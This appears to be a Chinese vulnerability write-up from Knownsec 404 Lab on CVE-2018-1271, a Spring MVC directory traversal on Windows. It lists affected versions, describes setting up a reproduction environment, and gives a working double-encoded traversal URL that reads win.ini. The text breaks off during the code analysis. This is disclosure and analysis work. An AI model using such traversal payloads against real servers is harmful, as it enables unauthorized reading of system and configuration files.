作者: Badcode@知道创宇404实验室
漏洞简介
2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。
漏洞影响
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不支持的旧版本仍然受影响
漏洞利用条件
Server运行于Windows系统上
要使用file协议打开资源文件目录
漏洞复现
复现环境
操作系统Windows
中间件jetty
环境搭建
1.下载 spring-mvc-showcase
git clone https://github.com/spring-projects/spring-mvc-showcase.git
修改pom.xml,使用Spring Framework 5.0.0。
2.修改 Spring MVC 静态资源配置,可参考官方文档
通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。
registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");
3.使用 jetty 启动项目
mvn jetty:run
至此复现环境搭建完毕。
复现过程及结果
访问以下链接
http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
可以看到成功读取到win.ini的内容了。
漏洞分析
当外部要访问静态资源时,会调用org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest来处理,在这里下断点调试。
跟进org.springframework.web.servlet.resource.ResourceHttpRequestHandler:getResource()。